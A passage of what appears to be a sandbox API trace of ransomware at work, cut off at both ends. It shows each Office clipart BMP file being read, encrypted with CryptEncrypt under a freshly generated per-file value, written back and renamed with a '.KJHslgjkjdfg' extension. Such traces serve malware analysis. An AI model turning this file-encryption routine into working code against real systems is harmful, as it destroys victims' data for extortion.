lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.583] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.583] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.583] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.583] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.583] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.584] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.584] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.584] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.584] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1a7d8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1a7d8, lpOverlapped=0x0) returned 1 [0231.586] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a7e0, dwBufLen=0x1a7e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a7e0) returned 1 [0231.588] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.588] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1a7e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1a7e0, lpOverlapped=0x0) returned 1 [0231.589] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.589] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1a8b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.589] SetEndOfFile (hFile=0x130) returned 1 [0231.592] GetProcessHeap () returned 0x2ef0000 [0231.592] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.592] GetProcessHeap () returned 0x2ef0000 [0231.592] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.592] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02754U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02754u.bmp.kjhslgjkjdfg")) returned 1 [0231.596] CloseHandle (hObject=0x130) returned 1 [0231.596] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd50ea200, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd50ea200, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x1a7d8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02755U.BMP", cAlternateFileName="")) returned 1 [0231.596] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.597] GetProcessHeap () returned 0x2ef0000 [0231.597] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.598] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.598] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.598] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.601] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.601] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.601] GetProcessHeap () returned 0x2ef0000 [0231.601] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.601] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.601] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.601] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.601] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.601] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.601] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.602] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.602] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.602] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.602] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.602] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.602] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1a7d8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1a7d8, lpOverlapped=0x0) returned 1 [0231.604] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a7e0, dwBufLen=0x1a7e0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a7e0) returned 1 [0231.606] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.606] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1a7e0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1a7e0, lpOverlapped=0x0) returned 1 [0231.607] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.607] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1a8b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.607] SetEndOfFile (hFile=0x130) returned 1 [0231.610] GetProcessHeap () returned 0x2ef0000 [0231.610] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.610] GetProcessHeap () returned 0x2ef0000 [0231.611] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.611] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02755U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02755u.bmp.kjhslgjkjdfg")) returned 1 [0231.613] CloseHandle (hObject=0x130) returned 1 [0231.613] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb853a00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcb853a00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x30408, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02756U.BMP", cAlternateFileName="")) returned 1 [0231.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.615] GetProcessHeap () returned 0x2ef0000 [0231.615] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.615] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.615] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.615] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.618] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.618] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.618] GetProcessHeap () returned 0x2ef0000 [0231.618] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.618] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.618] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.618] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.618] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.618] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.618] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.618] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.618] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.619] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.619] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.619] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.619] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x30408, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x30408, lpOverlapped=0x0) returned 1 [0231.623] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x30410, dwBufLen=0x30410 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x30410) returned 1 [0231.625] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.626] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x30410, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x30410, lpOverlapped=0x0) returned 1 [0231.626] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.626] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x304e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.627] SetEndOfFile (hFile=0x130) returned 1 [0231.631] GetProcessHeap () returned 0x2ef0000 [0231.631] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.631] GetProcessHeap () returned 0x2ef0000 [0231.631] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.631] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02756U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02756u.bmp.kjhslgjkjdfg")) returned 1 [0231.633] CloseHandle (hObject=0x130) returned 1 [0231.633] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe684b00, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe684b00, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x30408, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02757U.BMP", cAlternateFileName="")) returned 1 [0231.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.634] GetProcessHeap () returned 0x2ef0000 [0231.634] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.634] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.634] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.634] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.636] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.636] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.636] GetProcessHeap () returned 0x2ef0000 [0231.636] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.636] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.636] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.636] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.637] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.637] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.637] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0231.637] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0231.637] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.638] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.638] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.638] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.638] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x30408, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x30408, lpOverlapped=0x0) returned 1 [0231.642] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x30410, dwBufLen=0x30410 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x30410) returned 1 [0231.644] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.644] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x30410, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x30410, lpOverlapped=0x0) returned 1 [0231.645] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.645] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x304e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.645] SetEndOfFile (hFile=0x130) returned 1 [0231.650] GetProcessHeap () returned 0x2ef0000 [0231.650] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0231.650] GetProcessHeap () returned 0x2ef0000 [0231.650] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0231.650] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02757U.BMP.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02757u.bmp.kjhslgjkjdfg")) returned 1 [0231.652] CloseHandle (hObject=0x130) returned 1 [0231.652] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7c1f400, ftCreationTime.dwHighDateTime=0x1bd4e53, ftLastAccessTime.dwLowDateTime=0x6cebbbb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa7c1f400, ftLastWriteTime.dwHighDateTime=0x1bd4e53, nFileSizeHigh=0x0, nFileSizeLow=0x307f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PH02758U.BMP", cAlternateFileName="")) returned 1 [0231.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02758U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02758u.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0231.653] GetProcessHeap () returned 0x2ef0000 [0231.653] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0231.653] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0231.654] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0231.654] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0231.656] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0231.656] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0231.656] GetProcessHeap () returned 0x2ef0000 [0231.656] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0231.656] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0231.656] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0231.656] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0231.656] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0231.656] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0231.656] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, 